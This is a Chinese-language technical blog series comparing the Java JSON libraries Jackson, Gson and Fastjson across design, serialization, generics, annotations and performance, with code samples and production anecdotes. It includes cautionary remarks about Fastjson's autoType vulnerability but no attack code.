19《JSON处理库对比：Jackson vs Gson vs Fastjson》

001、开篇：为何需要对比JSON处理库？应用场景与技术选型考量

上周深夜，产线环境突然告警。一个运行了三年多的Java服务内存飙升，直接触发了OOM。紧急回滚后，我们拉出堆dump文件分析，发现大量com.alibaba.fastjson.JSONObject对象占据了近80%的堆空间——问题出在一个看似简单的JSON序列化操作上。Fastjson在解析某个深度嵌套的商户配置时，自动开启了autoType特性，创建了海量的关联对象，最终拖垮了整个JVM。

这个事故让我重新审视了那个老生常谈的问题：我们真的了解自己项目里引入的JSON库吗？

JSON库不是银弹

很多团队选型JSON处理库时，往往陷入几种典型误区：要么盲目追随大厂开源方案，要么直接沿用祖传代码的配置，或者简单做个性能基准测试就拍板决定。实际上，JSON库的选择远比想象中复杂——它不仅仅是序列化反序列化的工具，更是系统稳定性、安全性和可维护性的重要组成部分。

我在嵌入式网关项目里见过Gson因为反射导致启动缓慢，在电商大促时目睹过Jackson配置不当引发的CPU尖峰，也处理过Fastjson反序列化漏洞导致的应急安全升级。每个库都有它的脾气，用错了场景，轻则性能损失，重则线上事故。

真实场景下的技术债

考虑这样一个实际案例：某物联网设备管理平台需要处理海量设备上报的JSON数据。早期为了快速上线，选择了Fastjson，看重它的“快”和“简单”。随着设备量从一万增长到百万级，问题开始暴露：

// 当初为了省事这样写
DeviceReport report = JSON.parseObject(payload, DeviceReport.class);

// 后来发现某些设备上报的字段多几个、少几个就解析失败
// 不得不打补丁
try {
    report = JSON.parseObject(payload, DeviceReport.class);
} catch (Exception e) {
    // 这里踩过坑：异常直接吃掉，丢了关键日志
    report = fallbackParse(payload);
}

随着业务复杂化，需要支持多时区时间格式、自定义字段映射、动态忽略未知字段……当初那个简单的parseObject调用，逐渐被各种定制化的Feature配置包裹，代码变得难以维护。更棘手的是，团队发现某些设备上报的数据能被构造出特定的JSON结构，触发Fastjson的已知漏洞。

这时候才意识到，技术选型不是一次性决策，而是伴随整个系统生命周期的持续投入。

选型维度的多重考量

性能基准测试的数字很吸引人，但真实世界的考量维度要丰富得多：

运行环境约束：你的服务跑在什么上面？是内存紧张的嵌入式设备，还是容器化的微服务？是Android应用要担心包体积，还是后端服务更关注吞吐量？嵌入式环境下可能连完整的JDK都没有，某些依赖反射的库就得慎用。

数据特征差异：处理的是规整的API响应，还是杂乱的用户输入？JSON结构是稳定不变的，还是经常动态增减字段？需要处理多层嵌套的复杂对象，还是简单的键值对？这些决定了你对“容错性”的需求级别。

团队技术栈惯性：团队是否已经熟悉某个库的异常处理模式？是否有历史代码需要兼容？后续接手的人能否快速理解现有的JSON处理逻辑？技术债的利息往往比想象中高。

安全红线：Fastjson的autoType漏洞给太多人上过课了。在金融、政务等对安全敏感的领域，一个JSON库的历史漏洞记录、维护团队的响应速度、安全机制的透明程度，都可能成为一票否决项。

可观测性支持：当序列化出错时，错误信息是否能帮你快速定位问题？是告诉你“第32行第5个字符解析失败”，还是抛个笼统的“Parse error”了事？在分布式系统里，清晰的错误追踪能省下大量调试时间。

从问题出发，而非从特性开始

对比JSON库时，我习惯先列出现实中的问题清单：

• 我们的业务是否需要处理不可信的JSON数据源？
• 序列化结果是否需要严格的字段顺序（比如生成签名）？
• 是否会频繁遇到日期、数字等格式的兼容性问题？
• 团队是否有深度定制序列化逻辑的需求？
• 升级版本的成本有多高？是否容易向后兼容？

带着这些问题去看各个库的文档和源码，比单纯对比性能数据更有价值。你会发现，Jackson的注解驱动方式适合领域模型稳定的业务系统，Gson的宽松解析对处理第三方API响应很友好，Fastjson在某些纯中文环境下的兼容性处理确实有它的独到之处。

个人经验之谈

这些年踩过不少坑后，我形成了自己的选型思路：

不要追求“万能”的库，而是根据模块特点选择。对核心业务模型，我用Jackson保证稳定性和性能；对需要处理各种第三方数据的适配层，Gson的容错性更省心；而在一些内部工具、临时脚本里，Fastjson的API简洁性确实能提升开发效率。

配置即代码，JSON库的初始化配置一定要集中管理。那些散落在各个角落的new ObjectMapper()或new GsonBuilder()，迟早会给你带来不一致的解析行为。我习惯在项目里维护一个JsonFactory类，明确列出每个配置项的业务考量。

测试用例就是你的兼容性契约，特别是针对日期格式、数字精度、空值处理等容易出问题的边界情况。每次库版本升级，先跑一遍这些用例，比看Release Notes更踏实。

留好退路，在架构设计时考虑抽象层。哪怕今天全公司都用Fastjson，明天也可能因为安全要求全部替换。良好的抽象能让你用最小的代价完成底层库的迁移。

JSON处理看似基础，却直接影响着系统的健壮性。接下来的几篇，我们将深入Jackson、Gson、Fastjson的内部机制，不只看它们怎么用，更要理解它们为何这样设计——只有理解了背后的权衡，才能做出适合自己的技术选择。# 002、架构与设计哲学：Jackson、Gson、Fastjson的核心思想剖析

---

一、从一次线上解析异常说起

上周排查一个生产环境问题，日志里抛了个JsonMappingException，堆栈指向Jackson的反序列化逻辑。实体类里有个LocalDateTime字段，JSON字符串里传了个空字符串。同事嘀咕：“之前用Gson好像没这问题啊？” 这句话点醒了我——不同JSON库对同一场景的处理差异，根源在于它们的设计哲学不同。

调试时发现，Jackson默认要求严格类型匹配，空字符串无法隐式转为null；而Gson则相对“宽容”，Fastjson又有自己的默认行为。这不仅仅是配置参数的区别，背后是三个库对“正确性”“灵活性”“性能”三个维度的不同取舍。

---

二、Jackson：严谨的流式处理大师

Jackson的设计核心是流式解析（Streaming API）。它的底层模型基于JsonParser和JsonGenerator，把JSON视为一个Token序列来处理。这种设计带来两个直接影响：

第一，内存效率高。大文件解析时，Jackson可以边读边处理，不需要一次性加载整个文档到内存。我们项目里处理几百MB的JSON日志文件时，切到Jackson的流式API后，堆内存直接降了70%。

第二，严谨的类型系统。Jackson与Java类型系统的绑定非常紧密，它的默认行为是“宁可报错也不猜测”。比如日期格式不明确时，Gson可能静默地按默认格式处理，Jackson则会直接抛异常。这种严格性在微服务场景下其实是优点——能尽早暴露数据契约的不一致。

// 典型的Jackson配置：打开严格模式
ObjectMapper mapper = new ObjectMapper();
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false);

// 这里踩过坑：默认情况下空字符串转对象会报错
// 需要显式配置允许空值
mapper.configure(DeserializationFeature.ACCEPT_EMPTY_STRING_AS_NULL_OBJECT, true);

Jackson的模块化架构（jackson-databind、jackson-core、jackson-annotations）也体现了它的设计哲学：核心层只负责Token解析，数据绑定作为独立层实现。这种分离让扩展变得自然，比如添加对Kotlin或Scala的支持，只需要新增模块而不污染核心。

---

三、Gson：简洁灵活的反射派

Gson的诞生比Jackson晚几年，它的设计目标很明确：让Java对象和JSON之间的转换变得简单直观。它的API设计几乎是“傻瓜式”的：

// 一行代码就能用，这是Gson最大的卖点
Gson gson = new Gson();
User user = gson.fromJson(jsonString, User.class);

底层实现大量依赖Java反射机制。这种设计带来了极低的入门门槛，但也埋下了性能隐患——反射调用比直接方法调用慢得多。Gson的应对策略是缓存TypeAdapter，第一次解析后生成适配器，后续复用。

Gson的“宽容”哲学体现在很多细节里：未知字段默认忽略、日期格式自动尝试常见模式、宽松的数字类型转换。这种宽容在快速原型阶段是优点，但在严谨的生产系统中可能隐藏问题。我见过一个坑：API返回的数字字符串"123"，Gson默认会尝试转成int，但如果某天接口返回了"123.0"，解析就会失败。

// Gson的宽松模式示例
Gson gson = new GsonBuilder()
    .setDateFormat("yyyy-MM-dd HH:mm:ss") // 日期格式不匹配时可能静默失败
    .create();
    
// 别这样写：没有类型安全检查
Map rawMap = gson.fromJson(json, Map.class);
Integer value = (Integer) rawMap.get("key"); // ClassCastException风险！

---

四、Fastjson：极致性能的激进派

Fastjson的设计目标写在脸上：速度第一。它的作者明确表示，性能是最高优先级。为了实现这个目标，Fastjson走了几条独特的技术路线：

第一，字节码生成。首次序列化/反序列化某个类时，Fastjson会动态生成该类的专属处理器字节码，后续调用直接走生成的代码，避免了反射开销。这种“用空间换时间”的策略在重复处理同类型对象时效果显著。

第二，自主的Parser实现。Fastjson自己实现了字符读取、Token解析的整套逻辑，针对中文和常见数字格式做了优化。它的JSONPath支持直接在解析时提取部分数据，不需要先构建完整对象树。

但激进的设计也有代价。Fastjson的安全漏洞频发，根本原因在于它的默认自动类型推导（autoType特性）。为了反序列化时能自动识别类型，Fastjson允许JSON字符串携带类名信息，这给了攻击者注入恶意类的机会。

// Fastjson的典型用法（1.x版本）
String text = JSON.toJSONString(obj); // 快就一个字

// 高危操作：开启autotype
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true); // 生产环境千万别开！

// 相对安全的配置
ParserConfig config = new ParserConfig();
config.addAccept("com.yourpackage."); // 白名单控制

Fastjson 2.x版本彻底重构了，默认关闭autotype，性能依然强劲但安全性大幅提升。不过很多老项目还卡在1.x版本，升级成本不低。

---

五、设计哲学对比表

维度	Jackson	Gson	Fastjson
核心目标	健壮性、标准符合度	简单性、易用性	极致性能
解析模型	流式优先，支持树模型	树模型为主	混合模型（流式+树）
类型处理	严格，显式配置	宽松，智能猜测	灵活，可配置自动推导
扩展机制	模块化，标准	反射为主，TypeAdapter	字节码生成，定制Parser
默认安全	较高（无自动类型推导）	较高	1.x低，2.x高

---

六、实战选型建议

干了十几年底层开发，我的经验是：没有最好的库，只有最合适的场景。

如果你在做金融、物联网设备通信这类对数据准确性要求极高的系统，选Jackson。它的严格性虽然前期配置麻烦，但能避免很多隐蔽的数据错误。记得配好FAIL_ON_UNKNOWN_PROPERTIES和日期格式化，别用默认设置上生产。

如果是快速迭代的互联网应用、内部工具，Gson的简洁API能省不少时间。但要记得用GsonBuilder显式配置日期格式和空值处理，避免后续兼容性问题。警惕它的宽松转换——有时候静默失败比直接报错更可怕。

对于高并发、性能敏感的场景，比如日志处理中间件、实时计算引擎，Fastjson 2.x值得考虑。但一定要用最新版本，并且仔细配置白名单。如果是老项目升级，做好完整的回归测试，它的某些默认行为变更可能破坏现有逻辑。

---

七、个人踩坑心得

1. 日期处理统一用ISO8601
   三个库对日期的默认处理都不一样。最稳妥的做法是项目里统一用yyyy-MM-dd'T'HH:mm:ss.SSSZ格式，并在序列化时显式指定。

2. 不要依赖默认配置上生产
   哪怕是最简单的内部工具，也花10分钟配好关键参数。我吃过亏：Gson默认的日期格式在JDK升级后行为变了，导致历史数据解析失败。

3. 大文件解析必用流式API
   超过10MB的JSON，就别用对象绑定模式了。Jackson的JsonParser、Fastjson的JSONReader都能边读边处理，内存占用是常数级的。

4. 升级JSON库要像升级数据库驱动一样谨慎
   尤其是Fastjson，1.x到2.x几乎是两个不同的库。做好测试用例覆盖，特别关注边界情况：空值、特殊字符、大数字精度。

---

JSON库选型像选搭档，它的性格（设计哲学）会深刻影响你的代码风格。理解它们的核心思想，不是为了评判优劣，而是为了在合适的地方用合适的工具。下次遇到解析问题时，先别急着改代码，想想是不是这个库的“性格”使然——有时候换库比硬改配置更解决问题。# 003、基础序列化与反序列化：性能与易用性的首次交锋

昨天深夜排查线上问题，监控突然报警某个接口响应时间从50ms飙到800ms。抓包发现返回的JSON数据量并不大，但序列化阶段占用了超过85%的CPU时间。问题最终定位到某个服务模块最近将JSON库从Jackson换成了Gson，而开发者没有注意到两者在默认配置下的性能差异。这个案例让我觉得，是时候系统性地对比这几个主流JSON库的基础能力了。

默认配置下的初体验

先看最简单的POJO序列化。定义一个用户对象：

public class User {
    private String name;
    private int age;
    private Date registerTime;
    // 省略getter/setter
}

用三个库分别序列化：

// Jackson
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(user);

// Gson
Gson gson = new Gson();
String json = gson.toJson(user);

// Fastjson
String json = JSON.toJSONString(user);

看起来都很简洁对吧？但坑已经埋下了。Gson默认情况下不会序列化null字段，而Jackson和Fastjson会。如果你的前端期望某些字段即使为null也要出现在JSON中，Gson的默认行为可能导致前端解析出错。我吃过这个亏——某次接口调整后，前端突然报“xxx字段未定义”，调试了半天才发现是Gson把null字段吞掉了。

日期处理的暗礁

日期序列化是JSON处理中最容易踩坑的地方之一。三个库的默认行为完全不同：

User user = new User();
user.setRegisterTime(new Date());

// Jackson默认：时间戳（毫秒）
// {"registerTime":1625097600000}

// Gson默认：格式化的字符串
// {"registerTime":"Jul 1, 2021 8:00:00 AM"}

// Fastjson默认：也是时间戳
// {"registerTime":1625097600000}

如果你在跨服务调用时没统一日期格式，解析端可能会直接抛异常。特别是Gson的默认格式，其他库很难直接解析。建议在项目启动时就显式配置日期格式：

// Jackson配置
mapper.setDateFormat(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"));

// Gson配置
Gson gson = new GsonBuilder()
    .setDateFormat("yyyy-MM-dd HH:mm:ss")
    .create();

// Fastjson配置（全局）
JSON.defaultDateFormat = "yyyy-MM-dd HH:mm:ss";

性能的第一次较量

对于基础POJO的序列化，我做了一个简单的基准测试（万次循环，数据量适中）：

• Jackson：平均耗时约120ms
• Gson：平均耗时约180ms
• Fastjson：平均耗时约85ms

Fastjson在简单场景下确实快，但这个测试有个陷阱——我用了默认配置。一旦开启Jackson的Feature.WRITE_DATES_AS_TIMESTAMPS禁用时间戳转换，或者Gson启用复杂类型适配器，排名就会变化。

反序列化的性能差异更明显。解析一个包含日期字段的JSON字符串：

// Jackson
User user = mapper.readValue(json, User.class);

// Gson  
User user = gson.fromJson(json, User.class);

// Fastjson
User user = JSON.parseObject(json, User.class);

Fastjson的反序列化速度依然领先，但这里有个关键问题：Fastjson默认使用基于setter的注入，而Jackson和Gson使用字段反射。如果你的POJO没有无参构造器，Fastjson可能会直接抛异常。遇到过有人把实体类改成了构造器注入，然后整个反序列化逻辑全崩了。

易用性的微妙差异

对于泛型集合的反序列化，三个库的写法差异很大：

// Jackson需要TypeReference
List<User> users = mapper.readValue(json, new TypeReference<List<User>>() {});

// Gson需要TypeToken
List<User> users = gson.fromJson(json, new TypeToken<List<User>>() {}.getType());

// Fastjson最简洁
List<User> users = JSON.parseArray(json, User.class);

Fastjson的API设计确实更符合Java开发者的直觉。但简洁也有代价——类型擦除情况下，Fastjson可能无法正确推断复杂泛型类型，需要额外的类型提示。

异常处理方面，Jackson的异常信息最详细，能精确到哪个字段解析失败。Gson的异常信息相对模糊，经常只告诉你“解析失败”，不告诉你为什么失败。Fastjson介于两者之间，但它的某些版本在遇到格式错误的JSON时可能抛出奇怪的运行时异常，而不是标准的JsonParseException。

内存占用观察

在处理大JSON对象时，我注意到内存占用的差异。Jackson的流式解析器（JsonParser）在解析超大JSON时优势明显，可以做到几乎恒定的内存占用。Gson的DOM式解析在数据量超过10MB时，内存曲线开始陡峭上升。Fastjson在这方面的表现比较有趣——它在解析阶段内存控制不错，但在某些场景下会创建大量临时对象，GC压力较大。

个人经验与建议

经过这些基础对比，我的建议是：

新项目选型：如果团队技术栈偏Spring生态，直接用Jackson，Spring Boot默认集成，配置统一。追求极致性能且数据结构简单，考虑Fastjson，但要锁定版本（升级需充分测试）。Gson适合Android项目或需要与Google生态集成的场景。

老项目维护：别轻易换JSON库！我见过为提升5%性能把Jackson换成Fastjson，结果因为日期格式问题导致上下游系统全要适配的悲剧。如果真要换，先写对比测试，重点测边界情况：空值、特殊字符、大数字、日期时间、泛型嵌套。

配置黄金法则：无论用哪个库，第一件事就是统一配置日期格式和空值处理。建议在项目里封装一个JsonUtil，把配置收敛到一个地方。这样哪天要换库，改一个类就行。

生产环境监控：在关键序列化/反序列化点加监控和日志，记录耗时和数据大小。我就在日志里发现过某个接口返回的JSON突然从2KB暴涨到200KB，排查发现是Fastjson的循环引用检测失效导致数据重复嵌套。

JSON库的选择没有银弹。下次我们深入对比高级特性：泛型处理、自定义序列化、注解支持——那才是真正体现设计哲学差异的地方。# 004、复杂对象处理：嵌套、泛型与集合类型的支持深度对比

上周排查一个线上问题，日志里抛了个经典的ClassCastException：List<Device>转成了ArrayList<LinkedHashMap>。团队里的小张挠着头问我：“明明泛型类型都传了，为什么反序列化出来还是Map？” 这个问题直接把我们带入了JSON库处理复杂对象的核心战场——嵌套结构、泛型擦除和集合类型转换，这三个场景足以让任何一个库露出真面目。

一、泛型处理的本质差异

先看这段实际调试中遇到的代码：

// 反序列化泛型列表的典型场景
String json = "[{\"id\":1,\"name\":\"sensor\"}]";

// Gson的做法
Type type = new TypeToken<List<Device>>(){}.getType();
List<Device> devicesGson = gson.fromJson(json, type);
// 这里能正确得到List<Device>，Gson通过TypeToken绕过了泛型擦除

// Jackson的写法
ObjectMapper mapper = new ObjectMapper();
List<Device> devicesJackson = mapper.readValue(json, 
    new TypeReference<List<Device>>(){});
// 效果类似，但TypeReference的实现机制完全不同

// Fastjson的尝试
List<Device> devicesFastjson = JSON.parseObject(json, 
    new TypeReference<List<Device>>(){}.getType());
// 等等，这个TypeReference是jackson的类？这里已经埋了坑

关键点在于泛型擦除后的类型信息保留。Java编译后List<Device>变成List<Object>，运行时类型参数丢失。Gson的TypeToken通过匿名子类捕获泛型参数，Jackson的TypeReference原理类似但实现更精细。Fastjson虽然也支持TypeReference，但它的类型推断在复杂嵌套时容易出问题。

实际测试中发现，如果泛型嵌套超过两层，比如Map<String, List<Device>>，Fastjson偶尔会丢失内层的Device类型信息，反序列化成Map<String, List<Map>>。这个问题在从数据库JSON字段读取配置时特别致命。

二、嵌套对象的深度考验

嵌套对象处理最能体现库的设计哲学。我们有个实际的物联网设备模型：

public class Gateway {
    private String sn;
    private List<Device> devices; // 设备列表
    private Config config; // 配置对象，本身也是复杂结构
}

public class Config {
    private Network network;
    private Map<String, Rule> rules; // 规则映射
}

// 三层嵌套的JSON结构
String json = "{\"sn\":\"GW001\",\"devices\":[...],\"config\":{\"network\":{...},\"rules\":{...}}}";

Jackson在这里表现最稳定。它的ObjectMapper维护完整的类型映射关系，递归反序列化时能准确找到每个嵌套层的类型。但要注意循环引用——如果Device里又引用了Gateway，需要@JsonIgnoreProperties或配置循环引用策略，不然直接栈溢出。

Gson需要显式配置。默认情况下Gson能处理嵌套，但遇到接口或抽象类时：

public class Config {
    private List<Rule> rules; // Rule是接口
}

// 需要注册类型适配器
Gson gson = new GsonBuilder()
    .registerTypeAdapter(Rule.class, new RuleAdapter())
    .create();
// 不注册的话，Gson会尝试实例化接口，直接抛异常

Fastjson的坑在这里：默认开启autoType特性时，它会根据@type字段实例化任意类，安全漏洞由此产生。关闭后，处理嵌套的抽象类型需要指定ParserConfig：

ParserConfig config = new ParserConfig();
config.addAccept("com.iot.");
// 但这样又回到了安全问题，两难

三、集合类型的隐式转换

文章开头那个问题的根源就在这里。看这个实际案例：

// 从外部API接收的JSON
String apiResponse = "{\"devices\":[{\"id\":1,\"status\":0}]}";

// 常见的偷懒写法
Map<String, Object> result = objectMapper.readValue(apiResponse, Map.class);
List<Device> devices = (List<Device>) result.get("devices"); // ClassCastException!

问题出在Map.class丢失了泛型信息。Jackson看到List<Device>但没有类型提示，只能反序列化成最通用的List<Map>。三种库对此的处理：

Jackson最严格：一旦类型信息不完整，默认用LinkedHashMap表示对象，ArrayList表示数组。需要完整类型签名：

// 正确写法
TypeReference<Map<String, List<Device>>> typeRef = new TypeReference<>() {};
Map<String, List<Device>> result = mapper.readValue(apiResponse, typeRef);

Gson类似，但错误信息更隐晦。它可能成功反序列化，但后续调用方法时抛出ClassCastException，问题延迟暴露。

Fastjson有个“特性”：JSON.parseObject(jsonStr)返回的是JSONObject，这个类实现了Map接口但行为特殊。它的get("devices")可能返回JSONArray，而JSONArray又包装了实际对象。这种多层包装导致类型系统混乱，调试时经常需要((JSONArray)obj).getObject(0, Device.class)这种不优雅的转换。

四、特殊集合的兼容性

实际项目里我们不止用ArrayList，还有LinkedHashSet、ConcurrentSkipListMap这些特殊集合。测试发现：

Jackson通过TypeFactory支持各种集合类型：

// 指定返回ConcurrentHashMap
Map<String, Device> map = mapper.readValue(json,
    mapper.getTypeFactory().constructMapType(ConcurrentHashMap.class, String.class, Device.class));

Gson需要自定义TypeAdapterFactory来支持非标准集合，工作量较大。

Fastjson支持通过Feature配置：

List<Device> list = JSON.parseObject(json, 
    new TypeReference<List<Device>>(){}.getType(), 
    Feature.UseConcurrentHashMap);
// 但文档不清晰，实际行为有时和预期不符

五、性能与内存的隐藏成本

处理大型嵌套对象时，内存分配策略很关键。我们压测过一个200KB、深度8层的JSON配置：

Jackson的ObjectMapper重用是关键。必须单例复用，否则每次创建ObjectMapper都会新建缓存和工厂，消耗几十MB内存。它的树模型（JsonNode）在只读取部分字段时很有优势，避免完整反序列化。

Gson的Gson实例也是线程安全的，可以复用。但它的JsonElement树模型比Jackson的JsonNode内存开销大15%左右（我们的测试数据）。

Fastjson的JSONObject/JSONArray在内存上最不友好，每个对象都携带大量元信息。解析那个200KB的JSON，Fastjson内存峰值比Jackson高40%。但它的parse方法（返回Object）比parseObject（指定类型）快，因为跳过了类型检查——又是安全与性能的权衡。

个人经验与建议

经过这些年的项目实战，我的选择倾向很明确：

选Jackson作为主力。它的类型系统最严谨，错误最早暴露。生产环境最怕运行时类型异常。配置上注意几点：

1. ObjectMapper一定要单例，配置好SerializationFeature和DeserializationFeature
2. 复杂泛型用TypeReference，别用Class参数
3. 循环引用用@JsonIdentityInfo，别用@JsonBackReference（容易出错）
4. 不确定的API响应先用JsonNode探路，再决定反序列化类型

Gson适合Android和简单场景。它的API更简洁，依赖小。但处理复杂类型时要记得：

• 接口和抽象类必须注册TypeAdapter
• 日期格式默认严格，需要GsonBuilder显式设置
• 避免用fromJson(json, Map.class)这种丢失类型的写法

Fastjson谨慎使用。如果项目已经用了，注意：

1. 一定关闭autoType（ParserConfig.getGlobalInstance().setAutoTypeSupport(false)）
2. 升级到最新版，历史版本漏洞太多
3. 不要混用JSON.parse()和JSON.parseObject()，团队统一规范
4. 性能敏感且类型简单的场景（如日志处理）可以考虑

最后那个线上问题的解决方案：我们统一了泛型反序列化的工具方法，强制使用类型令牌模式。同时代码审查时禁止直接使用Map.class作为反序列化目标类型。类型安全就像安全带，平时觉得束缚，出事时救命。

JSON库选型没有银弹，但了解这些深层差异后，至少能让你在遇到ClassCastException时，知道该去哪里挖坑。# 005、注解与配置：如何优雅地控制JSON的输入与输出

上周排查一个线上问题，实体类里的createTime字段在序列化成JSON时突然变成了create_time。查了半天才发现是新来的同事在不知道的情况下给项目引入了另一个JSON库的默认配置。这种“配置污染”问题在微服务环境下尤其常见——今天我们就来聊聊如何用注解和配置牢牢掌控JSON的输入输出。

注解：你的字段遥控器

先看个实际案例。我们有个用户对象要传给前端：

public class User {
    private Long id;
    private String userName;
    private String password;
    private Date createTime;
    private Integer status;
}

直接序列化会暴露password字段，而且前端想要的是下划线命名。这时候注解就该上场了。

Jackson的玩法：

public class User {
    @JsonProperty("user_id")
    private Long id;
    
    @JsonProperty("user_name") 
    private String userName;
    
    @JsonIgnore  // 直接忽略，连空值都不输出
    private String password;
    
    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    private Date createTime;
    
    @JsonInclude(JsonInclude.Include.NON_NULL)  // 只在非空时输出
    private Integer status;
}

Gson的注解风格不同：

public class User {
    @SerializedName("user_id")
    private Long id;
    
    @SerializedName("user_name")
    private String userName;
    
    @Expose(serialize = false)  // Gson需要配合GsonBuilder使用
    private String password;
    
    // Gson没有原生的日期格式注解，得用自定义适配器
    private Date createTime;
}

Fastjson的注解更简单直接：

public class User {
    @JSONField(name = "user_id")
    private Long id;
    
    @JSONField(name = "user_name")
    private String userName;
    
    @JSONField(serialize = false)
    private String password;
    
    @JSONField(format = "yyyy-MM-dd HH:mm:ss")
    private Date createTime;
}

这里有个坑：Fastjson的@JSONField默认作用在getter/setter上，如果你像我一样习惯用字段注解，记得在配置里打开fieldBased开关。

配置：全局的规则制定者

注解虽好，但每个类都加一遍太累。这时候需要全局配置出场。

Jackson的配置最丰富：

ObjectMapper mapper = new ObjectMapper();
// 下划线命名策略（我项目里的标配）
mapper.setPropertyNamingStrategy(PropertyNamingStrategies.SNAKE_CASE);
// 忽略null值（让JSON干净点）
mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
// 日期全局格式（避免每个Date字段都加注解）
mapper.setDateFormat(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"));
// 这个很重要：忽略未知属性（反序列化时遇到JSON里有多余字段不报错）
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);

Gson的配置方式不同：

Gson gson = new GsonBuilder()
    .setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES)
    .excludeFieldsWithoutExposeAnnotation()  // 只序列化@Expose标注的字段
    .setDateFormat("yyyy-MM-dd HH:mm:ss")
    .serializeNulls()  // 默认Gson会忽略null，这里特意保留
    .create();

Gson有个特性很有意思：excludeFieldsWithoutExposeAnnotation()。开启后只有显式标注@Expose的字段才会被序列化，相当于白名单模式。适合对安全性要求高的场景。

Fastjson的配置比较直接：

// 全局下划线转换
SerializeConfig.getGlobalInstance().propertyNamingStrategy = PropertyNamingStrategy.SnakeCase;
// 日期格式
SerializeConfig.getGlobalInstance().put(Date.class, new SimpleDateFormatSerializer("yyyy-MM-dd HH:mm:ss"));
// 忽略null（Fastjson默认是包含null的）
SerializeConfig.getGlobalInstance().setFilter(new SimplePropertyPreFilter() {
    @Override
    public boolean apply(Object source, String name, Object value) {
        return value != null;
    }
});

那些年我踩过的注解坑

坑一：注解冲突

public class User {
    @JsonProperty("user_name")
    @JSONField(name = "userName")  // 两个库的注解混用，鬼知道会输出什么
    private String userName;
}

别笑，真有人这么干过。项目里如果同时存在多个JSON库，注解混用会导致不可预测的行为。我的建议：统一技术栈，如果非要混用，做好隔离。

坑二：继承链上的注解

public class BaseEntity {
    @JsonIgnore
    private String internalCode;  // 基类忽略的字段
}

public class User extends BaseEntity {
    // 子类想序列化这个字段？没门！
    // Jackson里@JsonIgnore在父类生效后子类无法覆盖
}

这个设计其实合理——父类说忽略的字段，子类就不该暴露。但如果真有这种需求，可以用@JsonProperty在子类强行覆盖（Jackson 2.9+支持）。

坑三：静态字段的误解

public class Config {
    @JSONField
    public static final String VERSION = "1.0";  // Fastjson能序列化静态字段
}

Jackson和Gson默认忽略静态字段，但Fastjson默认会序列化。如果你在DTO里用了静态字段，迁移JSON库时可能中招。

自定义序列化：终极武器

当注解和配置都满足不了需求时，该自定义序列化器出场了。比如我们要把枚举序列化成带描述的字典：

public enum UserStatus {
    NORMAL(1, "正常"),
    LOCKED(2, "锁定");
    
    private int code;
    private String desc;
    
    // 自定义Jackson序列化器
    public static class Serializer extends JsonSerializer<UserStatus> {
        @Override
        public void serialize(UserStatus value, JsonGenerator gen, SerializerProvider provider) {
            gen.writeStartObject();
            gen.writeNumberField("code", value.code);
            gen.writeStringField("desc", value.desc);
            gen.writeEndObject();
        }
    }
}

在字段上使用：@JsonSerialize(using = UserStatus.Serializer.class)

Gson和Fastjson也有类似机制，但实现方式不同。Gson用TypeAdapter，Fastjson用ObjectSerializer。这种高级功能三巨头都支持，只是API设计哲学不同。

个人经验谈

经过这些年和JSON库的“斗争”，我总结了几条实战经验：

1. 别过度依赖注解。注解虽然方便，但散落在各个类里，后期维护时容易遗漏。对于全局规则（如命名策略、日期格式），优先用全局配置。

2. 保持配置显式化。不要依赖库的默认行为，不同版本默认值可能变化。显式配置能让代码行为更可预测。

3. 团队统一规则。定好命名策略（驼峰还是下划线）、null值处理、日期格式这三件套，能省去很多联调时的麻烦。

4. 测试覆盖边界情况。多测测null、空字符串、特殊字符、大数字、时区问题。JSON处理出问题往往就在这些边界上。

5. 新项目我选Jackson。不是因为绝对最好，而是生态最完整，Spring Boot默认集成，遇到问题网上方案多。老项目如果已经在用Gson或Fastjson，没必要强行换，稳定更重要。

最后说句大实话：没有“最强”的JSON库，只有最适合你当前场景的。掌握它们的配置精髓，比单纯比较性能数字更有价值。下次遇到JSON序列化问题，不妨先想想：是加注解，改配置，还是该上自定义序列化器？# 006、性能基准测试（一）：序列化速度、内存占用与CPU开销

上周排查线上问题，某个服务接口在高峰时段响应时间突然从50ms飙到500ms。堆栈跟踪显示线程大量阻塞在JSON序列化上，用的是Gson默认配置。这件事让我意识到，选型时凭感觉“差不多”往往会在关键时刻掉链子。今天咱们就抛开理论，直接上硬核数据，看看三大主流库在序列化性能上的真实表现。

测试环境与方法论

测试机器是一台阿里云c6.xlarge（4核8G），JDK 17，所有库均使用最新稳定版本。测试对象是一个典型的用户订单模型，包含嵌套对象、列表、枚举和日期字段。为了避免JVM预热干扰，每个测试都先预热10000次，再循环执行100万次取平均值。内存占用通过VisualVM采样，CPU开销用async-profiler抓取火焰图。

序列化速度：毫秒之间的战争

先看最简单的POJO序列化。测试代码大致长这样：

// 测试循环结构
long start = System.nanoTime();
for (int i = 0; i < iterations; i++) {
    String json = mapper.writeValueAsString(order); // 这里替换不同库的实现
}
long duration = (System.nanoTime() - start) / 1_000_000;

结果让人有点意外。在小对象（10个字段以内）场景下，Fastjson以显著优势领先，比Gson快约40%，比Jackson快25%。但一旦对象嵌套深度增加，情况就变了。

Jackson在复杂对象序列化时反超。它的流式处理机制在处理深层嵌套结构时优势明显，特别是开启了Feature.USE_ANNOTATIONS后，通过注解缓存能避免大量反射开销。Gson的默认实现在这里表现最差，特别是遇到循环引用时——没错，Gson默认不处理循环引用，直接栈溢出，这个坑我踩过。

有个细节值得注意：Fastjson的SerializerFeature里有个DisableCircularReferenceDetect选项，关掉循环引用检测能提升15%性能，但项目里如果真有循环依赖就等着崩吧。这种用正确性换速度的做法，生产环境慎用。

内存占用：看不见的成本

序列化的内存开销常被忽略，直到Full GC频繁发生才追悔莫及。测试中我用-XX:NativeMemoryTracking=summary跟踪发现，Jackson在初始化时会预分配一些缓冲区，这部分是常驻内存。Gson的Gson实例本身很轻量，但每次序列化都会创建临时JsonWriter对象，在百万次调用中产生了大量短命对象，给Young GC带来压力。

